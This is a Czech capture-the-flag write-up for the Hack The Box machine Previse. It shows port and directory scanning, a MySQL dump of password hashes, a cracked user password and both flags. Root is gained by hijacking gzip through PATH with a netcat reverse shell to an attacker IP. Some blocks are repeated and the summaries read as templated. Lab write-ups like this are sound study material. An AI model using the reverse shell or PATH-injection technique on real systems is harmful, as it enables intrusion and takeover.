Previse
Úvod a kontext
Na Previse je nejzajímavější, jak se propojí sudo pravidla, webová aplikace v PHP a Apache.
Bez pochopení této návaznosti by nedával smysl ani stabilní uživatelský přístup opřený o login.php a accounts.php, ani závěrečná příliš široká sudo oprávnění.
Počáteční průzkum
Vyhledání otevřených portů
Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.
ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT STATE SERVICE VERSION
Detailní analýza služeb
V dalším kroku si zpřesňuji verze služeb a jejich charakteristiky, protože právě z těchto detailů obvykle vzniká rozhodnutí, zda pokračovat přes web, SSH nebo jinou vrstvu.
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 53:ed:44:40:11:6e:8b:da:69:85:79:c0:81:f2:3a:12 (RSA)
| 256 bc:54:20:ac:17:23:bb:50:20:f4:e1:6e:62:0f:01:b5 (ECDSA)
|_ 256 33:c1:89:ea:59:73:b1:78:84:38:a4:21:10:0c:91:d8 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
|_http-favicon: Unknown favicon MD5: __CENSORED__
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-title: Previse Login
|_Requested resource was login.php
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enumerace webu
Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.
./dirsearch/dirsearch.py -u http://$IP -e php -x 403 -r
[19:30:21] Starting:
[19:30:35] 302 - 4KB - /accounts.php -> login.php
[19:30:43] 200 - 0B - /config.php
[19:30:44] 301 - 310B - /css -> http://10.10.11.104/css/ (Added to queue)
[19:30:46] 302 - 0B - /download.php -> login.php
[19:30:47] 200 - 15KB - /favicon.ico
[19:30:47] 302 - 5KB - /files.php -> login.php
[19:30:48] 200 - 980B - /header.php
[19:30:49] 302 - 3KB - /index.php/login/ -> login.php
[19:30:49] 302 - 3KB - /index.php -> login.php
[19:30:50] 301 - 309B - /js -> http://10.10.11.104/js/ (Added to queue)
[19:30:50] 200 - 1KB - /js/
[19:30:51] 200 - 2KB - /login.php
[19:30:51] 302 - 0B - /logout.php -> login.php
[19:30:59] 302 - 3KB - /status.php -> login.php
Task Completed
Analýza zjištění
Lámání hesel nebo hashů
Hash nebo zašifrovaný artefakt má smysl lámat jen tehdy, pokud může otevřít další službu, účet nebo vrstvu prostředí; právě to zde ověřuji.
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
m4lwhere:x:1000:1000:m4lwhere:/home/m4lwhere:/bin/bash
mysql:x:111:114:MySQL Server,,,:/nonexistent:/bin/false
$ mysql -u root -pmySQL_p@ssw0rd\!:\) -e "select * from accounts" previse
id username password created_at
1 m4lwhere $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. 2021-05-27 18:18:36
2 admin $1$🧂llol$uXqzPW6SXUONt.AIOBqLy. 2021-10-28 17:33:14
3 thacker $1$🧂llol$hNd7SbLrW/OGhQLvb1kVW1 2021-10-28 17:38:00
$ john --format=crypt hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
=> ilovecody112235! (m4lwhere)
$ cat user.txt
__CENSORED__
$ sudo -l
(root) /opt/scripts/access_backup.sh
$ cat /opt/scripts/access_backup.sh
#!/bin/bash
Získání přístupu
Získání user flagu
User flag zde slouží hlavně jako potvrzení, že už mám běžný uživatelský kontext a mohu pokračovat v lokální analýze systému.
Následující úsek zachycuje přechod k uživatelskému přístupu a jeho ověření přes user.txt.
$ mysql -u root -pmySQL_p@ssw0rd\!:\) -e "select * from accounts" previse
id username password created_at
1 m4lwhere $1$🧂llol$DQpmdvnb7EeuO6UaqRItf. 2021-05-27 18:18:36
2 admin $1$🧂llol$uXqzPW6SXUONt.AIOBqLy. 2021-10-28 17:33:14
3 thacker $1$🧂llol$hNd7SbLrW/OGhQLvb1kVW1 2021-10-28 17:38:00
$ john --format=crypt hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
=> ilovecody112235! (m4lwhere)
$ cat user.txt
5d3dad0807b57c686934abf0008c9127
$ sudo -l
(root) /opt/scripts/access_backup.sh
Eskalace oprávnění
Získání root flagu
Tento krok ukazuje, jak se nalezená slabina nebo chyba v delegaci oprávnění mění v privilegovaný přístup.
Následující úsek zachycuje i postup, kterým se potvrzuje privilegovaný přístup a načtení root.txt.
This is configured to run with cron, added to sudo so I can run as needed - we'll fix it later when there's time
gzip -c /var/log/apache2/access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_access.gz
gzip -c /var/www/file_access.log > /var/backups/$(date --date="yesterday" +%Y%b%d)_file_access.gz
# Path injection pres gzip
cd /tmp
echo "nc 10.10.14.11 4000 -e /bin/bash" > gzip
chmod +x gzip
export PATH=/tmp:$PATH
$ sudo /opt/scripts/access_backup.sh
$ cat root.txt
b3adb6039f4cc0d8572dedd2d2817ce3
Shrnutí klíčových poznatků
- První skutečně užitečný závěr plynul z toho, jak do sebe zapadly
sudopravidla, webová aplikace v PHP a Apache. - User fáze se opírala o stabilní uživatelský přístup opřený o
login.phpaaccounts.php, takže přístup byl reprodukovatelný a ne jen jednorázový. - Finální kontrolu nad systémem otevřela až mechanika typu příliš široká
sudooprávnění.
Co si odnést do praxe
- Pokud se zanedbá oblast
sudopravidla, webová aplikace v PHP a Apache, vznikne stejný typ vstupu jako tady. Webová vrstva nesmí publikovat víc, než je nezbytné; vedlejší vhost, debug endpoint nebo zapomenutý soubor často odhalí skutečný vstup do řetězce. - Jakmile útočník ověří stabilní uživatelský přístup opřený o
login.phpaaccounts.php, je potřeba počítat s dlouhodobým přístupem. Jakmile se v prostředí objeví použitelný klíč, heslo nebo token, je potřeba předpokládat okamžitý pivot na stabilní shell; obrana proto stojí na segmentaci a oddělení přístupů mezi službami. - Stejně důležitá je i obrana proti mechanice příliš široká
sudooprávnění. Širokásudooprávnění je potřeba pravidelně revidovat; wrapper, install helper nebo diagnostický příkaz často udělá z běžného účtu roota.